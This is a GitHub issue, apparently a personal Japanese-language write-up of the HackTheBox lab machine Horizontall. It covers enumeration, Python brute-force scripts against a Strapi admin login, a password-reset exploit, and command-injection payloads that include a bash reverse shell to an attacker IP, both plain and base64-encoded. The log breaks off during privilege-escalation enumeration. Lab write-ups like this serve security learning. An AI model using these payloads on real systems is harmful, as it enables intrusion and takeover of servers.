roaris / ctf-log

0 stars 0 forks source link

HackTheBox: Horizontall (Machine Easy) #44

Open roaris opened 2 months ago

roaris commented 2 months ago

https://app.hackthebox.com/machines/Horizontall

$ nmap -sC -sV -Pn 10.10.11.105
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-26 12:13 JST
Nmap scan report for 10.10.11.105
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.63 seconds
roaris commented 2 months ago

http:\//10.10.11.105にアクセスすると、http:\//horizontall.htbにリダイレクトするので、/etc/hostsに以下を追記

10.10.11.105 horizontall.htb
roaris commented 2 months ago

ディレクトリ探索

$ gobuster dir --url http://horizontall.htb --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://horizontall.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 194] [--> http://horizontall.htb/img/]
/css                  (Status: 301) [Size: 194] [--> http://horizontall.htb/css/]
/js                   (Status: 301) [Size: 194] [--> http://horizontall.htb/js/]
Progress: 73634 / 87665 (83.99%)[ERROR] Get "http://horizontall.htb/ipaddress": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/security_risk": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/20915": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/symanhk": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/nslook": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/emailbutton": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/upgrade_center": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/flash-bl": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/20001026": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/pcmagcastfilter": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 73645 / 87665 (84.01%)[ERROR] Get "http://horizontall.htb/basics-03": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/195393_1": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/48483": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/109544": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/27340": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/consumer-protection": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/upgrade2007": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/p03s03-ussc": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/ts_csm": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/tjf": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 73654 / 87665 (84.02%)[ERROR] Get "http://horizontall.htb/idTheft": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/car-tech": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/site-tour": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/hx": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/samiljan": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/small_att": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/Privacy_Issues": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/B2094358": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/nbtstat": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/getnet": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 73664 / 87665 (84.03%)[ERROR] Get "http://horizontall.htb/raytheon": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/news-story": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/privacy_rights": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/symanlam": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/title_main": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/legal-privacy": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/doclib": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/rohrpost": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/index_print": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/veteransinfo": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 87664 / 87665 (100.00%)
===============================================================
Finished
===============================================================

サブドメイン探索

$ gobuster vhost --url http://horizontall.htb --wordlist /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://horizontall.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 69249 / 100001 (69.25%)[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 69259 / 100001 (69.26%)[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
Progress: 69267 / 100001 (69.27%)[ERROR] Get "http://horizontall.htb/": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
Progress: 69269 / 100001 (69.27%)[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 69279 / 100001 (69.28%)[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://horizontall.htb/": dial tcp 10.10.11.105:80: i/o timeout (Client.Timeout exceeded while awaiting headers)
Progress: 100000 / 100001 (100.00%)
===============================================================
Finished
===============================================================
roaris commented 2 months ago

レスポンスヘッダやページ内の情報から、使われているライブラリや言語の情報を全く得られない

roaris commented 2 months ago

詰んだので、Guided Mode

Task1 : How many TCP ports are open on this target? 2

Task2 : Using the Developer Tools in a browser we can see 'app.c68eb462.js' being loaded in the Network tab. What is the additional subdomain that is exposed in this file.

これ見るのか... app.c68eb462.jsを見ると、以下のようなコードがあった

...
y = {
name: "App",
components: {
    Navbar: v,
    Home: w
},
data: function() {
    return {
        reviews: []
    }
},
methods: {
    getReviews: function() {
        var t = this;
        r.a.get("http://api-prod.horizontall.htb/reviews").then((function(s) {
            return t.reviews = s.data
        }
        ))
    }
}
...

A : api-prod.horizontall.htb

サブドメイン探索のワードリストに使った/usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txtの中にapi-prodは無かった /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt の中にはあった

roaris commented 2 months ago

image

X-Powered-ByヘッダはStrapiになっている StrapiはヘッドレスCMS(フロントエンドのないCMS, microCMSなど)の一種らしい https://qiita.com/nakamura0907/items/a8f564add089e0d60438

roaris commented 2 months ago

検索期間をマシンの公開日(2021/8/28)までにして、strapi exploitで検索 RCEの脆弱性(https://bittherapy.net/post/strapi-framework-remote-code-execution/) が出てきたが、バージョンが該当するのか分からないのと、ログインが必要なので、まだ使えない

roaris commented 2 months ago
$ gobuster dir --url http://api-prod.horizontall.htb --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://api-prod.horizontall.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/reviews              (Status: 200) [Size: 507]
/users                (Status: 403) [Size: 60]
/admin                (Status: 200) [Size: 854]
/Reviews              (Status: 200) [Size: 507]
/Users                (Status: 403) [Size: 60]
/Admin                (Status: 200) [Size: 854]
/REVIEWS              (Status: 200) [Size: 507]
/%C0                  (Status: 400) [Size: 69]
Progress: 87664 / 87665 (100.00%)
===============================================================
Finished
===============================================================

/adminにアクセスするとログイン画面が表示され、/reviewsにアクセスすると、以下のJSONが返される

[
  {
    "id": 1,
    "name": "wail",
    "description": "This is good service",
    "stars": 4,
    "created_at": "2021-05-29T13:23:38.000Z",
    "updated_at": "2021-05-29T13:23:38.000Z"
  },
  {
    "id": 2,
    "name": "doe",
    "description": "i'm satisfied with the product",
    "stars": 5,
    "created_at": "2021-05-29T13:24:17.000Z",
    "updated_at": "2021-05-29T13:24:17.000Z"
  },
  {
    "id": 3,
    "name": "john",
    "description": "create service with minimum price i hop i can buy more in the futur",
    "stars": 5,
    "created_at": "2021-05-29T13:25:26.000Z",
    "updated_at": "2021-05-29T13:25:26.000Z"
  }
]
roaris commented 2 months ago

他のユーザのパスワードを変更出来るという脆弱性も見つけたが、今回は使えなさそう https://lf.lc/cve/cve-2019-18818/

roaris commented 2 months ago

/reviewsで出てきたユーザ名を使って、ログインのブルートフォースを試しておく

hydraは使い方が不明 https://www.cardboard-iguana.com/Grimoire/Spells/How+to+Attack+JSON+APIs+With+Hydra を見てやったが、Fオプションがないと言われ、代わりとなるオプションが見つけられない

$ hydra -f -l wail -P /usr/share/wordlists/rockyou.txt api-prod.horizontall.htb http-post-form /admin/auth/local:"{\"identifier\"\:^USER,\"password\"\:^PASS}":F="Auth.form.error.invalid":H="Content-Type\: application/json"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-27 01:34:03
[INFORMATION] escape sequence \: detected in module option, no parameter verification is performed.
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://api-prod.horizontall.htb:80/admin/auth/local:{"identifier"\:^USER,"password"\:^PASS}:F=Auth.form.error.invalid:H=Content-Type\: application/json
[ERROR] no valid optional parameter type given: F

なのでプログラム書いた rockyou.txtの終わりの方の文字列に謎のバイトが埋め込まれてて、utf-8でデコード出来ないのでややこしいプログラムになった 結局、遅すぎて全然終わらない

import requests

url = 'http://api-prod.horizontall.htb/admin/auth/local'

with open('/usr/share/wordlists/rockyou.txt', 'rb') as f:
    passwords = f.read().split()

for username in ['wail', 'doe', 'john']:
    print(f'---{username}---')

    for i, password in enumerate(passwords):
        try:
            password = password.decode()
            res = requests.post(url, data = {'identifier': username, 'password': password}, headers = {'Content-Type': 'application/json'})

            if res.status_code != 400:
                exit(print(username, password))

            if i % 10000 == 0:
                print(f'{i} done')
        except:
            pass
roaris commented 2 months ago

もっと短いワードリスト /usr/share/SecLists/Passwords/Common-Credentials/best110.txt で試す

import requests

url = 'http://api-prod.horizontall.htb/admin/auth/local'

with open('/usr/share/SecLists/Passwords/Common-Credentials/best110.txt') as f:
    passwords = f.read().split()

for username in ['wail', 'doe', 'john']:
    print(f'---{username}---')

    for i, password in enumerate(passwords):
        res = requests.post(url, data = {'identifier': username, 'password': password}, headers = {'Content-Type': 'application/json'})

        if res.status_code != 400:
            exit(print(username, password))

        if i % 20 == 0:
            print(f'{i} done')

結局見つからなかった

roaris commented 2 months ago

strapiのワードリストを見つけたので、再度ディレクトリ探索したけど、全く役に立つものが出てこなかった

$ find /usr/share/SecLists -iname "*strapi*"
/usr/share/SecLists/Discovery/Web-Content/CMS/trickest-cms-wordlist/strapi-all-levels.txt
/usr/share/SecLists/Discovery/Web-Content/CMS/trickest-cms-wordlist/strapi.txt
$ gobuster dir --url http://api-prod.horizontall.htb --wordlist=/usr/share/SecLists/Discovery/Web-Content/CMS/trickest-cms-wordlist/strapi-all-levels.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://api-prod.horizontall.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/CMS/trickest-cms-wordlist/strapi-all-levels.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/robots.txt           (Status: 200) [Size: 121]
/robots.txt           (Status: 200) [Size: 121]
/robots.txt           (Status: 200) [Size: 121]
/index.html           (Status: 200) [Size: 413]
/robots.txt           (Status: 200) [Size: 121]
/robots.txt           (Status: 200) [Size: 121]
/admin/.eslintrc      (Status: 200) [Size: 854]
/Users/EditPage.tsx   (Status: 403) [Size: 60]
/Users/ListPage.tsx   (Status: 403) [Size: 60]
/admin/admin/.eslintrc (Status: 200) [Size: 854]
/admin/.eslintrc      (Status: 200) [Size: 854]
/admin/server/.eslintrc (Status: 200) [Size: 854]
/admin/.eslintrc      (Status: 200) [Size: 854]
/admin/.gitattributes (Status: 200) [Size: 854]
/Users/ListPage.tsx   (Status: 403) [Size: 60]
/admin/ee/admin/.eslintrc (Status: 200) [Size: 854]
/admin/.eslintrc      (Status: 200) [Size: 854]
/admin/ee/LICENSE     (Status: 200) [Size: 854]
/admin/.eslintignore  (Status: 200) [Size: 854]
/admin/LICENSE        (Status: 200) [Size: 854]
/admin/.npmignore     (Status: 200) [Size: 854]
/index.html           (Status: 200) [Size: 413]
/admin/.eslintrc      (Status: 200) [Size: 854]
/index.html           (Status: 200) [Size: 413]
/admin/.eslintrc      (Status: 200) [Size: 854]
/admin/.eslintrc      (Status: 200) [Size: 854]
/admin/.eslintrc      (Status: 200) [Size: 854]
/admin/.eslintrc      (Status: 200) [Size: 854]
Progress: 30697 / 30697 (100.00%)
===============================================================
Finished
===============================================================
roaris commented 2 months ago

また詰んだので、Guided Mode

Task3 : What is the path on the webserver that will render a login page on api-prod.horizontall.htb? A : /admin

Task4 : We need to fingerprint this target in order to identify any potential vulnerabilities. What is the version of Strapi API being used on this target? Hint : Continue your subdirectory enumeration on each of the previously found subdirectories. '/admin' is a great place to start.

バージョン特定するのか 一応strapiの脆弱性は調べておいたんだけどな /adminを起点にさらにディレクトリ探索をするって発想にはならなくないか

https://thatsn0tmysite.wordpress.com/2019/11/15/x05/ /admin/strapiVersionでバージョン確認出来るとのこと A : 3.0.0-beta.17.4

結局使うのは、事前に調べていた https://lf.lc/cve/cve-2019-18818/ らしい フロント側からAPIを叩く場所が無かったから、今回は使えなさそうだと思ってしまった

roaris commented 2 months ago

403が返ってきた image

やっていることはNoSQL injectionか

roaris commented 2 months ago

https://thatsn0tmysite.wordpress.com/2019/11/15/x05/ /auth/reset-passwordじゃなくて、/admin/auth/reset-passwordらしい image

roaris commented 2 months ago

admin / password でログイン出来た

今回のstrapiのバージョンは3.0.0-beta.17.4なので、https://bittherapy.net/post/strapi-framework-remote-code-execution/ が使える

POST /admin/plugins/installで、

{"plugin":"documentation && $(ping 10.10.14.50)","port":"1337" }

を送信して疎通確認する Content-Typeヘッダにapplication/jsonを指定し、AuthorizationヘッダにJWTを指定する portの値が何なのか分からないが、適当な値で良いはず $で囲むのはなんでだろう

$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
02:49:42.355734 IP horizontall.htb > 10.10.14.50: ICMP echo request, id 44943, seq 152, length 64
02:49:42.355760 IP 10.10.14.50 > horizontall.htb: ICMP echo reply, id 44943, seq 152, length 64
02:49:43.355746 IP horizontall.htb > 10.10.14.50: ICMP echo request, id 44943, seq 153, length 64
02:49:43.355769 IP 10.10.14.50 > horizontall.htb: ICMP echo reply, id 44943, seq 153, length 64
02:49:44.356113 IP horizontall.htb > 10.10.14.50: ICMP echo request, id 44943, seq 154, length 64
02:49:44.356136 IP 10.10.14.50 > horizontall.htb: ICMP echo reply, id 44943, seq 154, length 64
02:49:45.356146 IP horizontall.htb > 10.10.14.50: ICMP echo request, id 44943, seq 155, length 64
02:49:45.356169 IP 10.10.14.50 > horizontall.htb: ICMP echo reply, id 44943, seq 155, length 64

疎通確認出来た

{"plugin":"documentation && $(bash -i >& /dev/tcp/10.10.14.50/4444 0>&1)","port":"1337" }

ではリバースシェルが実行されなかったが、base64エンコードで上手くいった

{"plugin":"documentation && $(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41MC80NDQ0IDA+JjEK | base64 -d | bash)","port":"1337" }
$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.50] from horizontall.htb [10.10.11.105] 40326
bash: cannot set terminal process group (1920): Inappropriate ioctl for device
bash: no job control in this shell
strapi@horizontall:~/myapi$
roaris commented 2 months ago

user.txtゲット

strapi@horizontall:~/myapi$ ls -al /home
ls -al /home
total 12
drwxr-xr-x  3 root      root      4096 May 25  2021 .
drwxr-xr-x 24 root      root      4096 Aug 23  2021 ..
drwxr-xr-x  8 developer developer 4096 Aug  2  2021 developer
strapi@horizontall:~/myapi$ ls -al /home/developer
ls -al /home/developer
total 108
drwxr-xr-x  8 developer developer  4096 Aug  2  2021 .
drwxr-xr-x  3 root      root       4096 May 25  2021 ..
lrwxrwxrwx  1 root      root          9 Aug  2  2021 .bash_history -> /dev/null
-rw-r-----  1 developer developer   242 Jun  1  2021 .bash_logout
-rw-r-----  1 developer developer  3810 Jun  1  2021 .bashrc
drwx------  3 developer developer  4096 May 26  2021 .cache
-rw-rw----  1 developer developer 58460 May 26  2021 composer-setup.php
drwx------  5 developer developer  4096 Jun  1  2021 .config
drwx------  3 developer developer  4096 May 25  2021 .gnupg
drwxrwx---  3 developer developer  4096 May 25  2021 .local
drwx------ 12 developer developer  4096 May 26  2021 myproject
-rw-r-----  1 developer developer   807 Apr  4  2018 .profile
drwxrwx---  2 developer developer  4096 Jun  4  2021 .ssh
-r--r--r--  1 developer developer    33 May 26 03:06 user.txt
lrwxrwxrwx  1 root      root          9 Aug  2  2021 .viminfo -> /dev/null
strapi@horizontall:~/myapi$ cat /home/developer/user.txt
cat /home/developer/user.txt
5e47bd6f11db789357bc9c287a4c6f38
roaris commented 2 months ago

sudo -lはパスワードが必要

setuidが設定されたファイル一覧 多分権限昇格に使えるものはない

strapi@horizontall:~/myapi$ find / -type f -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/bin/fusermount
/bin/ping
/bin/su
/bin/umount
/bin/mount

ちゃんと調べてないけど、多分権限昇格の脆弱性はない

strapi@horizontall:~/myapi$ uname -rs
Linux 4.15.0-154-generic
roaris commented 2 months ago

詰んだので、Guided Mode

Task8: There is a webserver listening only on 127.0.0.1. On what port is it listening? Hint: Look at the netstat output using your shell.

strapi@horizontall:/home/developer$ netstat -an | grep LISTEN
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
unix  2      [ ACC ]     STREAM     LISTENING     25724    /run/acpid.socket
unix  2      [ ACC ]     SEQPACKET  LISTENING     21240    /run/udev/control
unix  2      [ ACC ]     STREAM     LISTENING     33271    /run/user/0/systemd/private
unix  2      [ ACC ]     STREAM     LISTENING     30712    /run/user/1001/systemd/private
unix  2      [ ACC ]     STREAM     LISTENING     33275    /run/user/0/snapd-session-agent.socket
unix  2      [ ACC ]     STREAM     LISTENING     30716    /run/user/1001/gnupg/S.gpg-agent.browser
unix  2      [ ACC ]     STREAM     LISTENING     25726    /run/uuidd/request
unix  2      [ ACC ]     STREAM     LISTENING     33276    /run/user/0/gnupg/S.dirmngr
unix  2      [ ACC ]     STREAM     LISTENING     30717    /run/user/1001/gnupg/S.gpg-agent
unix  2      [ ACC ]     STREAM     LISTENING     33277    /run/user/0/gnupg/S.gpg-agent.browser
unix  2      [ ACC ]     STREAM     LISTENING     30718    /run/user/1001/gnupg/S.gpg-agent.ssh
unix  2      [ ACC ]     STREAM     LISTENING     33278    /run/user/0/gnupg/S.gpg-agent.ssh
unix  2      [ ACC ]     STREAM     LISTENING     30719    /run/user/1001/gnupg/S.gpg-agent.extra
unix  2      [ ACC ]     STREAM     LISTENING     33279    /run/user/0/gnupg/S.gpg-agent
unix  2      [ ACC ]     STREAM     LISTENING     30720    /run/user/1001/gnupg/S.dirmngr
unix  2      [ ACC ]     STREAM     LISTENING     33280    /run/user/0/gnupg/S.gpg-agent.extra
unix  2      [ ACC ]     STREAM     LISTENING     31745    /run/user/1001/snapd-session-agent.socket
unix  2      [ ACC ]     STREAM     LISTENING     25730    /run/snapd.socket
unix  2      [ ACC ]     STREAM     LISTENING     25732    /run/snapd-snap.socket
unix  2      [ ACC ]     STREAM     LISTENING     26341    @irqbalance1295.sock
unix  2      [ ACC ]     STREAM     LISTENING     31547    /opt/strapi/.pm2/pub.sock
unix  2      [ ACC ]     STREAM     LISTENING     31548    /opt/strapi/.pm2/rpc.sock
unix  2      [ ACC ]     STREAM     LISTENING     24135    /var/run/vmware/guestServicePipe
unix  2      [ ACC ]     STREAM     LISTENING     29878    /var/run/mysqld/mysqld.sock
unix  2      [ ACC ]     STREAM     LISTENING     25723    @ISCSIADM_ABSTRACT_NAMESPACE
unix  2      [ ACC ]     STREAM     LISTENING     21224    /run/systemd/private
unix  2      [ ACC ]     STREAM     LISTENING     21243    /run/systemd/journal/stdout
unix  2      [ ACC ]     STREAM     LISTENING     21258    /run/lvm/lvmetad.socket
unix  2      [ ACC ]     STREAM     LISTENING     21264    /run/lvm/lvmpolld.socket
unix  2      [ ACC ]     STREAM     LISTENING     25721    /var/run/dbus/system_bus_socket

3306はMySQLが使っているとして、1337と8000があるが、答えは8000だった strapiはポート1337で動いていて、ポート80で動いているNginxはポート1337に通信を流すようになっている

strapi@horizontall:~/myapi$ cat  /etc/nginx/sites-enabled/horizontall.htb
cat  /etc/nginx/sites-enabled/horizontall.htb
server {
    # server block for 'horizontall.htb' domain
    listen 80;
    listen [::]:80;
    server_name horizontall.htb www.horizontall.htb;
    root /var/www/html/horizontall;
    index index.html index.htm;
    location / {
        try_files $uri $uri/ =404;
    }
}

server {
     listen [::]:80;
     listen 80;

     server_name api-prod.horizontall.htb;

     location / {
          proxy_pass http://localhost:1337;
          proxy_http_version 1.1;
          proxy_set_header Upgrade $http_upgrade;
          proxy_set_header Connection 'upgrade';
          proxy_set_header Host $host;
          proxy_cache_bypass $http_upgrade;
    }
}

server {
    # server block for all the other requests
    # this block will be a default server block listening on port 80
    listen 80 default_server;
    listen [::]:80 default_server;
    # close the connection immediately
    return 301 http://horizontall.htb;
}

A: 8000

Task9: What is the version string at the bottom right of the webpage on the root of this server? The format of the string is '*** (* .*.)'. Hint: You can quickly get the page contents of this web application by using a built-in tool such as curl, or tunnel with a tool like Chisel.

strapi@horizontall:/home/developer$ curl 127.0.0.1:8000
